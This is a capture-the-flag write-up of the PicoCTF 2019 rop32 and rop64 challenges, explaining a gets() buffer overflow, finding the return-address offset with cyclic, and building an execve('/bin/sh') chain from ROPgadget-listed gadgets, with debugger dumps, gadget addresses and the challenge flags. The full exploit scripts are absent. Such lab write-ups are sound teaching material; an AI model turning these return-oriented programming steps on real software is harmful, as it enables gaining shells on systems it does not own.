Solving rop32 challenge
You can download the original file here.
This challenge was a linux executable
with the following source code in PicoCTF:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("Can you ROP your way out of this one?\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
The vulnerability resides in the use of gets()
which is very well known for being suceptible of buffer overflows
.
Below we can see that the stack is not executable and the NX bit
is enabled:
$ cat /proc/14210/maps
08048000-080d7000 r-xp 00000000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080d8000-080dc000 rw-p 0008f000 08:01 4591593 /home/0x705h/infosec/ctf/picoctf2019/rop32/vuln
080dc000-080dd000 rw-p 00000000 00:00 0
08b94000-08bb6000 rw-p 00000000 00:00 0 [heap]
f7fcc000-f7fcf000 r--p 00000000 00:00 0 [vvar]
f7fcf000-f7fd1000 r-xp 00000000 00:00 0 [vdso]
fff1b000-fff3c000 rw-p 00000000 00:00 0 [stack]
$ checksec vuln
[*] '/home/0x705h/infosec/ctf/picoctf2019/rop32/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled <---- (!)
PIE: No PIE (0x8048000)
As we can see, the NX bit
is enabled, because of this we cannot execute code in the stack. Therefore using ROP makes totally sense.
In the end, we will try to get our shell using only rop gadgets
.
The next step is to find the 16 bytes offset
of buf
local variable in the vuln()
function, and ultimately overwrite the return address at the current function’s stack frame
and gain control over eip
.
Using cyclic
to gain time is useful. cyclic
is a string sequence generator which is a De Bruijn function wrapper.
$ cyclic 32
aaaabaaacaaadaaaeaaafaaagaaahaaa
$ ./vuln
Can you ROP your way out of this one?
aaaabaaacaaadaaaeaaafaaagaaahaaa
[1] 9664 segmentation fault ./vuln
$ dmesg |tail -n 3
[917749.538197] e1000 0000:00:03.0 enp0s3: Reset adapter
[917751.658430] e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX
[920436.368947] vuln[9664]: segfault at 61616168 ip 0000000061616168 sp 00000000ffba36f0 error 14
$ python2 -c 'print chr(0x68) + chr(0x61)*3' # little endian
haaa
$ cyclic --offset haaa
28
Step by step, we ask to cyclic
a string of 32 bytes. There is no particular reason that I choosed a 32 bytes string for cyclic
but is big enough to overwrite eip
. Copying the resulting string to the program input overflows the buffer overwriting the Instruction Pointer
.
The overwritten eip
renders the value 0x61616168
, converted to string is haaa
and returning with the result to cyclic
finally we obtain 28
as the offset.
x86 - 4 bytes pointers
ESP +---------> +-------------------+
| local vars/etc | 20 bytes (offset 0) +
EBP +---------> +-------------------+ |
| EBP | 4 bytes (offset 24) |
+-------------------+ | cyclic string
| EIP / RET | 4 bytes (offset 28) |
+-------------------+ |
| arguments | 4 bytes (offset 32) +
+-------------------+
The state of the stack before the leave
instruction in vuln()
is the following:
pwndbg> x/12x $esp
0xffffcce0: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffccf0: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffcd00: 0x00000000 0x0804f02b 0x080da000 0x000003e8
And in the ret
instruction, the stack state changes to the following:
pwndbg> x/12x $esp
0xffffccfc: 0x61616168 0x00000000 0x0804f02b 0x080da000
0xffffcd0c: 0x000003e8 0xffffcd30 0x080da000 0x00000000
0xffffcd1c: 0x08048f6f 0x0806f0af 0x080da000 0x080da000
After gathering all this information about the behaviour of the program, we start to write our exploit. In ROP the idea is that instead of writing code in the buffer and jump to it, what we do is manipulate the stack frame
in a way that we inject valid memory addresses that reside within the original binary. The program ROPGadget reinterprets a binary mangling with the offsets in a way that it finds gadgets
to use with the property of a chain of instructions that ends in ret
, call
, int 0x80
or syscall
.
$ ROPgadget --depth=3 --binary ./vuln |grep 'pop .* ; ret'
[...]
0x080a8e36 : pop eax ; ret
0x0805c524 : pop eax ; ret 0xfffe
0x080c249f : pop eax ; retf
0x080c0c44 : pop ebp ; daa ; retf 0xd1cb
0x0804834c : pop ebp ; ret
0x0805bf9f : pop ebp ; ret 0xffff
0x0805d8b2 : pop ebp ; ret 4
0x080a1dcb : pop ebp ; ret 8
[...]
For instance, several gadgets
in this binary allow us to manipulate the processor registers in a way that we can inject values to the registers mangling with the stack
in a clever way. pop eax; ret
allows us to inject the value 0x41414141
into eax
using the gadget located at 0x080a8e36
in the binary:
S T A C K
+----------------------+
| 0x080a8e36 | <-------+ pop eax ; ret
+----------------------+
| 0x41414114 | <-------+ eax <- 0x41414141
+----------------------+
| Next RET |
+----------------------+
This way we can manipulate the execution flow of the program modifiying the ret
addresses.
Exploit
The goal is to execute the execve
linux syscall using only a rop chain
starting by our controlled eip
to gain a shell in the server by executing /bin/sh
.
The binary in the server that we want to exploit has the SUID
flag enabled and with reading permissions for flag.txt
which is the resource that we want to read. The exploit executes /bin//sh
, and after exploitation we can issue commands to the server.
While writing the exploit, I’ve encountered a problem that the final string to pass as input to the vulnerable program was “cut at half”. This was because of this gadget:
0x080a8e36 : pop eax ; ret
The problem with the memory address 0x080a8e36
is that the byte 0x0a
is present in the address and in the context of passing the input by console, it is interpreted as the newline character
, executing the input but in half.
That is the reason that instead of using pop eax; ret
I choosed the following gadget
to avoid this problem:
#0x080a8e36 : pop eax ; ret # bad bytes in the address
#0x08056334 : pop eax ; pop edx ; pop ebx ; ret # this gadget address doesn't contains 0x0a
pop_eax = p32(0x080a8e36)
*pop_eax_3 = p32(0x08056334) # watch out, this destroys edx and ebx*
For this reason, I need to take special care when loading values to the eax
register with pop_eax_3
- I called it like that to remind me also that 3
registers are involved in this gadget - because it also loads values to edx
and ebx
destroying the state of my registers.
This is the final exploit:
Here is the flag:
picoCTF{rOp_t0_b1n_sH_cb4c373e}
Solving rop64 challenge
The steps to write the exploit of this challenge are nearly the same as the rop32
one but:
- The
execve
syscall parameters are passed by registers and not by stack - We have enough space to write the string
/bin/sh\x00
in a register in one step, and thanks to that theropchain
is a little bit less complex - In 64 bits we should not call
int 0x80
, we should usesyscall
instruction instead
This is the exploit:
And the flag picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_11cdd436}